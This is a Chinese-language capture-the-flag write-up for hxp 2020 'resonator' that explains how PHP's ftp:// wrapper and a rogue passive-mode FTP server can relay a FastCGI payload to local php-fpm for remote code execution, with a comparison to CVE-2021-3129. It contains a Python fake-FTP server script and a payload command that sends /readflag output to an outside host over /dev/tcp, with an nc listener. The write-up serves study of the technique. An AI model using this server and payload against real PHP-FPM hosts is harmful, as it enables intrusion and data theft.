从 hxp 一道题来看利用 ftp 与 php-fpm 对话 RCE

 

0x00 前言

在撰写 CVE-2021-3129 Laravel Debug mode RCE 漏洞分析的文章时,漏洞原作者在文章最后提出了利用 ftp 与 php-fpm 对话 RCE 的思路,同时给出了参考例题 hxp 2020 resonator ,趁着还余有印象,我便写下了这篇文章:

一是复现 hxp 2020 resonator ,并将其作为例题引入,深入剖析原理,最后再来简单回顾一下 CVE-2021-3129 ,区别两者。

总之,如有不当,烦请评论捉虫,我会在第一时间响应并评论提示错误,谢谢。

 

0x01 引题

下载

题目源文件:

https://2020.ctf.link/assets/files/resonator-341a26a12c5ac4ad.tar.xz

hxp 2020 题目虚拟机环境(种子):

https://ctf.link/hxp_ctf_2020.ova.torrent

为了节省配置环境的时间,我直接用虚拟机搭建了:

分析

这题只有短小精悍的五行代码:

index.php

<?php
    $file = $_GET['file'] ?? '/tmp/file';
    $data = $_GET['data'] ?? ':)';
    file_put_contents($file, $data);
    echo file_get_contents($file);

file 默认路径 /tmp/file ,data 默认下为 :) ,再就是两个文件操作,把 data 数据写进 file 文件,然后读取显示到页面:

file 和 data 没有任何限制,也就是说,能任意文件读写,但事实真的那么简单吗?

Dockerfile

# echo 'hxp{FLAG}' > flag.txt && docker build -t resonator . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 8009:80 resonator

# 基于 debian buster 镜像
FROM debian:buster

# 注意下载了 php-fpm
RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
    apt-get install -y \
        nginx \
        php-fpm \
    && rm -rf /var/lib/apt/lists/

RUN rm -rf /var/www/html/*
COPY docker-stuff/default /etc/nginx/sites-enabled/default
# php-fpm 进程服务的扩展配置文件
COPY docker-stuff/www.conf /etc/php/7.3/fpm/pool.d/www.conf

COPY flag.txt docker-stuff/readflag /
# 指定 flag 文件和目录的拥有者变为 ID 1337 组 ID 为 0 的用户
RUN chown 0:1337 /flag.txt /readflag && \
    # flag 文件仅同用户组可读
    chmod 040 /flag.txt && \
    # flag 目录所有用户可读可执行,不可写
    chmod 2555 /readflag

COPY index.php /var/www/html/
# 指定 /var/www 目录拥有者为 root
RUN chown -R root:root /var/www && \
    # 在 /var/www 目录下 find 过的目录只能被读和执行,一般文件只读
    find /var/www -type d -exec chmod 555 {} \; && \
    find /var/www -type f -exec chmod 444 {} \;
    ...

进行了非常严格的文件权限设置,我们能自由读写的只有 /tmp/filewww.conf 配置文件也说明了我们是 www-data 用户组。

www.conf

[www]
user = www-data
group = www-data
listen = 127.0.0.1:9000
listen.owner = www-data
listen.group = www-data
...

监听端口 9000 ,并且点明了这是 TCP 通信方式而非 UNIX 域通信

拓展一下 UNIX domain socket 模式:

listen = /opt/php/var/run/php-fpm.sock
or
listen = /dev/shm/php-fpm.sock

综上,我们要读取 flag 只能通过执行剩下的 readflag 这个二进制文件获取,这就要求我们先 getshell,那么 php-fpm 就有可用之处了——以前有 CVE-2019-11043 就是利用 fastcgi 进行 getshell ,我们来看这题情况是怎样的。

众所周知,如果可以将任意二进制数据包发送到 php-fpm 服务,则可以执行代码。 此技术通常与 gopher:// 协议结合使用(ssrf),该协议受 curl 支持,但不受 php 支持

因此我们再来看 php支持的协议和封装协议 是否有可代替发二进制包的:

file:// — 访问本地文件系统
-pass 因为权限问题绝大部分不能利用

http:// — 访问 HTTP(s) 网址
-pass 虽然可以利用 file_get_contents() 访问 URL,但只能发挥扫描端口这些不痛不痒的作用

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
-pass 无用

phar:// — PHP 归档
-pass 没有利用链,更何况还需要 phar.readonly = 0

ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
-pass 以上四个都需要安装 PECL 扩展

唯一剩下的只有 ftp:// ,况且 ftp 本身也是基于 tcp 的服务,能配合 php-fpm 进行 tcp 通信。

而关于 ftp,为了后续理解,有必要对其两种传输模式作介绍。

ftp 的两种传输模式

ftp 有两种使用模式:主动模式(port)和被动模式(pasv)。

port 要求客户端和服务器端同时打开并且监听一个端口以创建连接。在这种情况下,客户端由于安装了防火墙会产生一些问题,连接有时候会被客户端的防火墙阻止。所以,创立了 pasv 。pasv 只要求服务器端产生一个监听相应端口的进程,这样就可以绕过客户端安装了防火墙的问题。

ftp 客户端和服务器之间需要建立两条 tcp 连接,一条是控制连接( 21 端口),用来发送控制指令,另外一条是数据连接( 20 端口 / 随机端口),真正的文件传输是通过数据连接来完成的。

两种传输模式的异同

对于两种传输模式来说,控制连接的建立过程都是一样,均为服务器监听 21 号端口,客户端向服务器的该端口发起 tcp 连接。

两种传输模式的不同之处体现在数据连接的建立,对于数据连接的建立,主被动模式的不同在于数据连接的建立“服务器”是“主动”还是”被动”:

port 服务器通过控制连接知道客户端监听的端口后,使用自己的 20 号端口作为源端口,服务器“主动”发起 tcp 数据连接。

pasv 服务器监听 1024-65535 的一个随机端口,并通过控制连接将该端口告诉客户端,客户端向服务器的该端口发起 tcp 数据连接,这种情况下数据连接的建立相当于服务器是“被动”的。

如图,对于我们这题,显然只能用 pasv 模式,服务器监听的“随机端口”对应 php-fpm 监听的 9000 端口,详细过程我们通过一个实际的 pasv 例子来理解:

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------   3 slacker    users         104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

以上是客户端 testbox1.slacksite.com (192.168.150.80) 发出 PASV 命令以指示其将等待服务器 testbox2.slacksite.com (192.168.150.90) “被动地”提供 ip 和端口号,然后客户端将创建到服务器的数据连接,其中:

227 Entering Passive Mode (192,168,150,90,195,149).

这就是服务器“被动”返回的 ip 和端口号,分别是 32 位的主机地址和 16 位 tcp 端口地址,这个例子的就是 192.168.150.90 的 195*256 + 149 = 50069 端口。

选择 ip 地址和端口号后,选择 ip 地址和端口的一方将开始侦听指定的地址/端口,并等待另一方连接。 当对方连接到收听方后,数据传输开始。

我们这题需要将 ip 端口重定向为 127.0.0.1:9000 来试图 ssrf ,9000 % 256 = 40 ,即可表达为:

227 Entering Passive Mode (127,0,0,1,35,40).

介绍到这,利用过程就很明晰了,引用 dfyz 的 wp 原理图:

file_put_contents()ftp:// 与我们的恶意服务器建立控制连接,使目标发送 PASV 命令,我们“被动”提供 ip 端口至本地 9000 端口,然后建立起数据连接,将 data (fastcgi payload)的内容上传到服务器,最后只需攻击机监听 payload 给定的端口获取 /readflag 执行结果即可。

我们用 py 脚本来实现这个恶意服务器,关于如何去实现,我们可以本地搭建 ftp 服务器测试被动状态发文件,这里参照了过客大神的wp 的实验图(这是 EPSV 扩展被动模式的数据包,仅供参考):

EPRT / EPSV

EPRT / EPSV 模式出现的原因是 FTP 仅仅提供了建立在 IPv4 上进行数据通信的能力,它基于网络地址是 32 位这一假设。但是,当 IPv6 出现以后,地址就比 32 位长许多了。原来对 FTP 进行的扩展在多协议环境中有时会失败。我们必须针对 IPv6 对 FTP 再次进行扩展。EPRT、EPSV是 Extended Port / Pasv 的简写。

可以依此得到 PASV 模式脚本:

import socket

host = '0.0.0.0'
port = 5555
sock = socket.socket()
sock.bind((host, port))
sock.listen(5)

conn, address = sock.accept()
conn.send("220 \n")
print conn.recv(20)

conn.send("331 \n")
print conn.recv(20)

conn.send("230 \n")
print conn.recv(20)

conn.send("200 \n")
print conn.recv(20)

conn.send("550 \n")
print conn.recv(20)

# skip EPSV
conn.send("200 \n")
print conn.recv(20)

# 35 * 256 + 40 = 9000
conn.send("227 127,0,0,1,35,40\n")
print conn.recv(20)

conn.send("150 \n")
print conn.recv(20)

可以看到我们多发了一次 200skip EPSV,再发的 227 来提供 ip 端口,为了理解,先看我们单发一次 227 的显示:

对照原理图,这并未执行 STOR 命令接收数据并且在服务器保存为文件,为什么呢?

我们从 php 源码 中可以知晓答案(详细看中文注解):

/* {{{ php_fopen_do_pasv */
static unsigned short php_fopen_do_pasv(php_stream *stream, char *ip, size_t ip_size, char **phoststart)
{
    char tmp_line[512];
    int result, i;
    unsigned short portno;
    char *tpath, *ttpath, *hoststart=NULL;

#ifdef HAVE_IPV6
    // 先试 EPSV 模式
    /* We try EPSV first, needed for IPv6 and works on some IPv4 servers */
    php_stream_write_string(stream, "EPSV\r\n");
    result = GET_FTP_RESULT(stream);

    // 如果得到的状态码不是 229 才试 PASV 模式,这就是为什么我们单发 227 不起作用,仅仅是切换了模式
    /* check if we got a 229 response */
    if (result != 229) {
#endif
        /* EPSV failed, let's try PASV */
        php_stream_write_string(stream, "PASV\r\n");
        result = GET_FTP_RESULT(stream);

        // 确定收到了 ip 端口号
        /* make sure we got a 227 response */
        if (result != 227) {
            return 0;
        }

        // 分离 ip 端口号
        /* parse pasv command (129, 80, 95, 25, 13, 221) */
        tpath = tmp_line;
        /* skip over the "227 Some message " part */
        for (tpath += 4; *tpath && !isdigit((int) *tpath); tpath++);
        if (!*tpath) {
            return 0;
        }
        /* skip over the host ip, to get the port */
        hoststart = tpath;
        for (i = 0; i < 4; i++) {
            for (; isdigit((int) *tpath); tpath++);
            if (*tpath != ',') {
                return 0;
            }
            *tpath='.';
            tpath++;
        }
        tpath[-1] = '\0';
        memcpy(ip, hoststart, ip_size);
        ip[ip_size-1] = '\0';
        hoststart = ip;
        ...

题解

Gopherus 生成 fastcgi payload (图中选中部分复制):

bash -c "/readflag > /dev/tcp/192.168.21.128/6666"

运行 py 脚本搭建恶意 ftp 服务器

监听 6666 端口(视 payload 生成端口而定)

nc -lvp 6666

网页发送 payload:

?file=ftp://server:5555/whatever&data=[第一步复制的 payload ]

getflag

 

0x03 回顾

环境配置及分析等可见我的上一篇文章。

CVE-2021-3129 对照引题可以精炼成以下代码:

$originalContents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $newContents);

下文为了简便,省略 file_*_contents 来描述。

引题是先 put 后 get,我们完全靠 put 来实现,put 使我们建立起控制连接,有 data 这个参数传送 payload 。

这里先 get 后 put ,情况有所不同,漏洞作者的思路是:

我们将使用 PASV 来使 file_get_contents() 在恶意服务器上下载文件,并且当它尝试使用 file_put_contents() 将其上传回时,我们让它发送文件到 127.0.0.1:9000 (本地有 php-fpm 服务,可以实现稳定 RCE ),实际上,get 所做的只是为了代替引题的 data 传送 payload 。

对此,这篇文章 已经写得很详尽,这里不再赘述,只不过对照上图,测试时目标和恶意 ftp 服务器都在本地,所以第一步的 227 是本地的端口。

脚本

当然你也可以尝试对照我们题目的脚本来改写,第一次连接参照下图即可:

第二次连接的过程则与题目完全相同。

如果想要在本地测试一下这个 ftp 传输过程,可以参考下面的博客搭建服务器:

https://www.cnblogs.com/zwqh/p/11579264.html

 

0x04 参考

个人认为很不错的 ftp 模式讲解:

https://southrivertech.com/wp-content/uploads/FTP_Explained1.pdf

https://slacksite.com/other/ftp.html

https://zhuanlan.zhihu.com/p/37963548

ftp rfc 文档:

http://www.faqs.org/rfcs/rfc959.html

ftp 命令字和响应码:

https://blog.csdn.net/qq981378640/article/details/51254177

(完)